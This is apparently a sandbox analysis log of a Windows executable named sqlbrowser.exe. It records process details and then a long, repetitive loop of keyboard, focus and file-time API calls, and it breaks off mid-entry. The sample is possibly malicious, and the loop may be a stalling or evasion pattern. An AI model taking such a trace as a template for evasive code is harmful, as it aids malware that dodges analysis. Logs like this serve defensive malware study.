# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Feb 5 2020 10:35:20 # Log Creation Date: 10.02.2020 09:47:44.011 Process: id = "1" image_name = "sqlbrowser.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sqlbrowser.exe" page_root = "0x34152000" os_pid = "0x67c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x930 [0024.889] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sqlbrowser.exe\" " [0024.889] GetStockObject (i=168) returned 0x0 [0024.889] GetAsyncKeyState (vKey=58) returned 0 [0024.889] GetKBCodePage () returned 0x1b5 [0024.889] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.896] GetFocus () returned 0x0 [0024.896] GetAsyncKeyState (vKey=58) returned 0 [0024.896] GetKBCodePage () returned 0x1b5 [0024.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.896] GetFocus () returned 0x0 [0024.896] GetAsyncKeyState (vKey=58) returned 0 [0024.896] GetKBCodePage () returned 0x1b5 [0024.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.896] GetFocus () returned 0x0 [0024.896] GetAsyncKeyState (vKey=58) returned 0 [0024.896] GetKBCodePage () returned 0x1b5 [0024.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.896] GetFocus () returned 0x0 [0024.896] GetAsyncKeyState (vKey=58) returned 0 [0024.896] GetKBCodePage () returned 0x1b5 [0024.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.896] GetFocus () returned 0x0 [0024.896] GetAsyncKeyState (vKey=58) returned 0 [0024.896] GetKBCodePage () returned 0x1b5 [0024.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.896] GetFocus () returned 0x0 [0024.896] GetAsyncKeyState (vKey=58) returned 0 [0024.896] GetKBCodePage () returned 0x1b5 [0024.896] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.896] GetFocus () returned 0x0 [0024.896] GetAsyncKeyState (vKey=58) returned 0 [0024.897] GetKBCodePage () returned 0x1b5 [0024.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.897] GetFocus () returned 0x0 [0024.897] GetAsyncKeyState (vKey=58) returned 0 [0024.897] GetKBCodePage () returned 0x1b5 [0024.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.897] GetFocus () returned 0x0 [0024.897] GetAsyncKeyState (vKey=58) returned 0 [0024.897] GetKBCodePage () returned 0x1b5 [0024.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.897] GetFocus () returned 0x0 [0024.897] GetAsyncKeyState (vKey=58) returned 0 [0024.897] GetKBCodePage () returned 0x1b5 [0024.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.897] GetFocus () returned 0x0 [0024.897] GetAsyncKeyState (vKey=58) returned 0 [0024.897] GetKBCodePage () returned 0x1b5 [0024.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.897] GetFocus () returned 0x0 [0024.897] GetAsyncKeyState (vKey=58) returned 0 [0024.897] GetKBCodePage () returned 0x1b5 [0024.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.897] GetFocus () returned 0x0 [0024.897] GetAsyncKeyState (vKey=58) returned 0 [0024.897] GetKBCodePage () returned 0x1b5 [0024.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.897] GetFocus () returned 0x0 [0024.897] GetAsyncKeyState (vKey=58) returned 0 [0024.897] GetKBCodePage () returned 0x1b5 [0024.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.897] GetFocus () returned 0x0 [0024.897] GetAsyncKeyState (vKey=58) returned 0 [0024.897] GetKBCodePage () returned 0x1b5 [0024.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.897] GetFocus () returned 0x0 [0024.897] GetAsyncKeyState (vKey=58) returned 0 [0024.897] GetKBCodePage () returned 0x1b5 [0024.897] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.898] GetFocus () returned 0x0 [0024.898] GetAsyncKeyState (vKey=58) returned 0 [0024.898] GetKBCodePage () returned 0x1b5 [0024.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.898] GetFocus () returned 0x0 [0024.898] GetAsyncKeyState (vKey=58) returned 0 [0024.898] GetKBCodePage () returned 0x1b5 [0024.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.898] GetFocus () returned 0x0 [0024.898] GetAsyncKeyState (vKey=58) returned 0 [0024.898] GetKBCodePage () returned 0x1b5 [0024.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.898] GetFocus () returned 0x0 [0024.898] GetAsyncKeyState (vKey=58) returned 0 [0024.898] GetKBCodePage () returned 0x1b5 [0024.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.898] GetFocus () returned 0x0 [0024.898] GetAsyncKeyState (vKey=58) returned 0 [0024.898] GetKBCodePage () returned 0x1b5 [0024.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.898] GetFocus () returned 0x0 [0024.898] GetAsyncKeyState (vKey=58) returned 0 [0024.898] GetKBCodePage () returned 0x1b5 [0024.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.898] GetFocus () returned 0x0 [0024.898] GetAsyncKeyState (vKey=58) returned 0 [0024.898] GetKBCodePage () returned 0x1b5 [0024.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.898] GetFocus () returned 0x0 [0024.898] GetAsyncKeyState (vKey=58) returned 0 [0024.898] GetKBCodePage () returned 0x1b5 [0024.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.898] GetFocus () returned 0x0 [0024.898] GetAsyncKeyState (vKey=58) returned 0 [0024.898] GetKBCodePage () returned 0x1b5 [0024.898] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.899] GetFocus () returned 0x0 [0024.899] GetAsyncKeyState (vKey=58) returned 0 [0024.899] GetKBCodePage () returned 0x1b5 [0024.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.899] GetFocus () returned 0x0 [0024.899] GetAsyncKeyState (vKey=58) returned 0 [0024.899] GetKBCodePage () returned 0x1b5 [0024.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.899] GetFocus () returned 0x0 [0024.899] GetAsyncKeyState (vKey=58) returned 0 [0024.899] GetKBCodePage () returned 0x1b5 [0024.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.899] GetFocus () returned 0x0 [0024.899] GetAsyncKeyState (vKey=58) returned 0 [0024.899] GetKBCodePage () returned 0x1b5 [0024.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.899] GetFocus () returned 0x0 [0024.899] GetAsyncKeyState (vKey=58) returned 0 [0024.899] GetKBCodePage () returned 0x1b5 [0024.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.899] GetFocus () returned 0x0 [0024.899] GetAsyncKeyState (vKey=58) returned 0 [0024.899] GetKBCodePage () returned 0x1b5 [0024.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.899] GetFocus () returned 0x0 [0024.899] GetAsyncKeyState (vKey=58) returned 0 [0024.899] GetKBCodePage () returned 0x1b5 [0024.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.899] GetFocus () returned 0x0 [0024.899] GetAsyncKeyState (vKey=58) returned 0 [0024.899] GetKBCodePage () returned 0x1b5 [0024.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.899] GetFocus () returned 0x0 [0024.899] GetAsyncKeyState (vKey=58) returned 0 [0024.899] GetKBCodePage () returned 0x1b5 [0024.899] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.899] GetFocus () returned 0x0 [0024.899] GetAsyncKeyState (vKey=58) returned 0 [0024.900] GetKBCodePage () returned 0x1b5 [0024.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.900] GetFocus () returned 0x0 [0024.900] GetAsyncKeyState (vKey=58) returned 0 [0024.900] GetKBCodePage () returned 0x1b5 [0024.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.900] GetFocus () returned 0x0 [0024.900] GetAsyncKeyState (vKey=58) returned 0 [0024.900] GetKBCodePage () returned 0x1b5 [0024.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.900] GetFocus () returned 0x0 [0024.900] GetAsyncKeyState (vKey=58) returned 0 [0024.900] GetKBCodePage () returned 0x1b5 [0024.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.900] GetFocus () returned 0x0 [0024.900] GetAsyncKeyState (vKey=58) returned 0 [0024.900] GetKBCodePage () returned 0x1b5 [0024.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.900] GetFocus () returned 0x0 [0024.900] GetAsyncKeyState (vKey=58) returned 0 [0024.900] GetKBCodePage () returned 0x1b5 [0024.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.900] GetFocus () returned 0x0 [0024.900] GetAsyncKeyState (vKey=58) returned 0 [0024.900] GetKBCodePage () returned 0x1b5 [0024.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.900] GetFocus () returned 0x0 [0024.900] GetAsyncKeyState (vKey=58) returned 0 [0024.900] GetKBCodePage () returned 0x1b5 [0024.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.900] GetFocus () returned 0x0 [0024.900] GetAsyncKeyState (vKey=58) returned 0 [0024.900] GetKBCodePage () returned 0x1b5 [0024.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.900] GetFocus () returned 0x0 [0024.900] GetAsyncKeyState (vKey=58) returned 0 [0024.900] GetKBCodePage () returned 0x1b5 [0024.900] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.901] GetFocus () returned 0x0 [0024.901] GetAsyncKeyState (vKey=58) returned 0 [0024.901] GetKBCodePage () returned 0x1b5 [0024.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.901] GetFocus () returned 0x0 [0024.901] GetAsyncKeyState (vKey=58) returned 0 [0024.901] GetKBCodePage () returned 0x1b5 [0024.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.901] GetFocus () returned 0x0 [0024.901] GetAsyncKeyState (vKey=58) returned 0 [0024.901] GetKBCodePage () returned 0x1b5 [0024.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.901] GetFocus () returned 0x0 [0024.901] GetAsyncKeyState (vKey=58) returned 0 [0024.901] GetKBCodePage () returned 0x1b5 [0024.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.901] GetFocus () returned 0x0 [0024.901] GetAsyncKeyState (vKey=58) returned 0 [0024.901] GetKBCodePage () returned 0x1b5 [0024.901] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 